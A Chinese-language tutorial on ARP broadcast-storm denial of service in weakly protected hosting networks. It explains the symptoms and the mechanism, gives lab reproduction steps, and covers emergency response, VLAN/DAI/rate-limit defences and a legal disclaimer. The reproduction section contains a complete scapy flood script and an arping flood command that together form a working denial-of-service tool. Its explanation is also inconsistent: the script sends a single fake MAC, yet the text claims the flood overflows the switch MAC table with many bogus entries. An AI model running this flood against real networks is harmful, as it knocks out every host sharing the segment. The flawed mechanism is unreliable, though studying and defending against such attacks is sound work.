在部分防护薄弱的云服务商环境中,仅仅只需要一台普通的虚拟机,处于同一个 /24 C类网段内,就可以触发ARP大二层广播风暴,直接造成整个C段网段全部网络瘫痪。攻击发起的虚拟机自身同样会被海量广播报文影响,出现网络断开、SSH连接闪退的现象。
国内部分小型IDC、中国香港、日本、美国的部分低价海外机房复现该现象的概率较高。究其根源,这类服务商为了压缩硬件与运维成本,采用简单网桥大二层组网,忽略二层安全防护配置。而国内头部云厂商、正规大型IDC,已经标准化部署全套二层安全防护,该攻击无法生效。
很多人会将该现象称之为"漏洞",严格来说,它不属于软件CVE漏洞,是网络架构设计缺陷 + 交换机安全配置缺失共同带来的安全风险。只要补齐二层防护策略,该攻击就会完全失效。
攻击表现现象
- 网段内全部服务器ping网关出现超高丢包率,从间歇性丢包演变为完全断网;
- 服务器面板监控可以看到大量节点网络状态变红,业务访问全部超时;
- SSH连接随机断开,重新连接反复失败,网段内所有主机内外网通信全部失效;
- 攻击源虚拟机同样无法幸免,海量广播包占用网卡带宽,自身网络也会卡死;
- 机房交换机CPU负载显著升高,MAC地址表条目疯狂抖动,大量非法MAC被学习。
攻击完整技术原理
1、正常的ARP工作机制
ARP协议即地址解析协议,作用是把IP地址解析为对应的硬件MAC地址。正常情况下,主机只在需要通信的时候,定向发送少量ARP请求报文,获取网关、目标主机的MAC,报文定向转发,不会大规模向全网广播,交换机MAC地址表记录IP-MAC-端口对应关系,精准转发流量。
2、风险产生的组网前提
- 大二层广播域:IDC使用桥接模式,大量不同租户的虚拟机跑在同一个巨大二层广播域,没有划分独立VLAN。一台主机发出的广播报文,可以传递给网段内全部设备。
- 交换机防护全部关闭:交换机没有开启DAI动态ARP检测、ARP报文限速、端口隔离。交换机不会校验ARP报文合法性,不管ARP应答是否真实,全部接收转发。
3、广播风暴形成完整过程
- 攻击者虚拟机持续构造大量伪造的ARP Reply(ARP应答包),以广播形式发送到整个 /24 网段;
- 海量伪造ARP报文不断涌入接入交换机,短时间内快速耗尽交换机MAC地址表存储空间;
- MAC地址表溢出之后,交换机无法维护IP、MAC、端口映射关系,无法判断流量该转发到哪个物理端口;
- 交换机开启"泛洪机制",把收到的所有数据包,复制转发给广播域内每一个端口;
- 整个网段内部形成无限循环的广播流量,也就是广播风暴;
- 一方面主机网卡被海量广播包淹没,CPU被占满;另一方面主机ARP缓存被大量虚假IP-MAC映射污染,无法解析网关真实MAC,彻底失去对外通信能力,最终整个C段集体断网。
关键点:不需要攻陷服务器,仅仅依靠二层广播报文,就可以实现同网段批量拒绝服务。
隔离环境下完整实验复现步骤
再次强调:实验环境必须完全隔离,不能触达任何真实业务网络。推荐使用VMware Workstation / KVM本地虚拟化环境。
实验环境硬性条件
- 虚拟机网络模式:使用【仅主机模式】私有虚拟网桥,禁止桥接物理网卡、禁止访问互联网;
- 自定义私有测试网段,示例: 192.168.50.0/24 ;
- 虚拟交换机模拟弱防护:关闭DAI、端口隔离、ARP限速,复刻小厂IDC无防护大二层环境;
- 虚拟机操作系统:Ubuntu 22.04 / Kali Linux;同时准备1-2台同网段测试虚拟机,用来观察断网现象。
步骤1:安装所需工具依赖
apt update && apt install python3 python3-pip arp-scan -y
pip3 install scapy
- arp-scan :网段扫描工具,探测网段存活主机IP、MAC;
- scapy :网络报文构造库,用来自定义构造伪造ARP广播数据包。
步骤2:探测网段存活主机(对应截图实操)
扫描整个二层广播域,收集网段所有在线设备IP与MAC信息:
sudo arp-scan -l
执行后输出全部同网段设备IP、MAC地址,确认广播域内部设备范围。
步骤3:编写ARP广播风暴实验脚本 arp_storm.py
from scapy.all import *
import random
import time
SEG_PREFIX = "192.168.50"
FAKE_MAC = "aa:bb:cc:dd:ee:ff"
print("=====私有安全实验:ARP二层广播风暴=====")
print("警告:仅用于隔离实验环境,禁止用于公网")
while True:
host_ip = f"{SEG_PREFIX}.{random.randint(2,254)}"
pkt = Ether(dst="ff:ff:ff:ff:ff:ff", src=FAKE_MAC) / ARP(
op=2,
psrc=host_ip,
hwsrc=FAKE_MAC,
pdst=host_ip,
hwdst="ff:ff:ff:ff:ff:ff"
)
sendp(pkt, iface=conf.iface, verbose=False)
time.sleep(0.0005)
步骤4:运行实验脚本
sudo python3 arp_storm.py
简易命令行测试版本(攻击强度弱于Python脚本,仅做参考)
sudo arping -b -f 192.168.50.255
实验观测现象
- 同网段测试虚拟机持续ping网关,出现大量丢包,一段时间后完全无法连通网关;
- 虚拟交换机MAC地址表被大量虚假MAC条目填满,流量全部泛洪至所有端口;
- 攻击源虚拟机本身网络也会卡顿,SSH会话卡顿甚至断开;
- 测试主机arp缓存中出现大量错误IP-MAC对应关系,地址解析完全错乱。
四、故障应急处置方案
如果真实机房不幸触发ARP广播风暴,按照下面顺序执行应急,优先止损:
- 第一时间定位攻击源:通过交换机日志、流量统计,找到产生海量ARP报文的服务器,直接断开服务器网络。只要切断报文源头,风暴就会停止扩散。
- 清除交换机MAC地址表,清空错误学习条目,等待交换机重新收敛。
- 业务服务器批量清空ARP缓存,清除主机内部被污染的ARP映射。
- 检查网关设备ARP表,删除伪造的IP-MAC记录。
- 复盘交换机配置,补齐二层安全防护,防止再次复现同类风险。
注意:如果不切断攻击源,仅清空ARP缓存,风暴会立刻再次发生。
五、分层完整防护方案
📌 机房/运营商侧(根治风险,最关键)
-
合理规划VLAN,拆分广播域
杜绝超大/24大二层广播域。按租户、业务划分独立VLAN,把广播域缩小。广播报文被限制在VLAN内部,一台主机产生的风暴,不会扩散到整个C段网段。
-
开启 DAI 动态ARP检测 Dynamic ARP Inspection
DAI是对抗ARP欺骗、ARP风暴的核心技术。交换机校验每一个ARP报文,只有合法的IP-MAC映射的ARP报文才允许转发,伪造ARP应答包直接丢弃。
-
端口ARP报文速率限制
对每一个服务器接入端口配置ARP限速,限制每秒允许通过的ARP报文数量。即使服务器被入侵,也无法短时间发出海量ARP包,从源头抑制风暴规模。
-
配置端口隔离
同一VLAN下,虚拟机之间二层互相隔离。虚拟机发出的广播报文,不会转发给其他业务服务器,只能到达网关,阻止攻击横向扩散。
📌 租户服务器侧,用户自救手段
-
网关静态ARP绑定
服务器手动配置网关IP对应的真实MAC静态ARP记录,系统不再接收动态ARP应答去篡改网关MAC,避免网关ARP被污染。
-
服务器本地防火墙,过滤异常ARP广播数据包。
-
选型机房的时候,优先确认服务商是否具备VLAN隔离、ARP安全防护,避开裸网桥组网、无二层防护的低价IDC。
六、补充总结
- 只要交换机开启DAI、端口隔离、合理划分VLAN,该攻击完全无法生效;
- 该风险只存在弱防护大二层环境,主流云厂商、正规IDC均已经做了防护;
- 该攻击属于拒绝服务攻击,对外实施会留下完整日志,很容易溯源定位到攻击者,不要尝试在公网环境测试。
本文全部内容仅用于网络安全学习研究。
⚠️ 法律红线声明
ARP广播风暴属于二层网络拒绝服务攻击,所有相关操作,仅允许在本人完全持有所有权、物理逻辑双重隔离、完全不接入公网、家庭局域网以及任何第三方网络的私有实验环境中,用于网络安全学习与漏洞原理研究。
未经授权,对商业IDC机房、企业办公内网、公共网络、其他个人所属服务器网段实施ARP欺骗、广播风暴类攻击行为,会直接触犯《中华人民共和国网络安全法》《中华人民共和国刑法》,属于破坏计算机信息系统的违法行为。实施者会面临民事赔偿、运营商封禁、行政处罚,情节严重将承担刑事责任,严禁在非授权网络环境进行任何攻击实操。





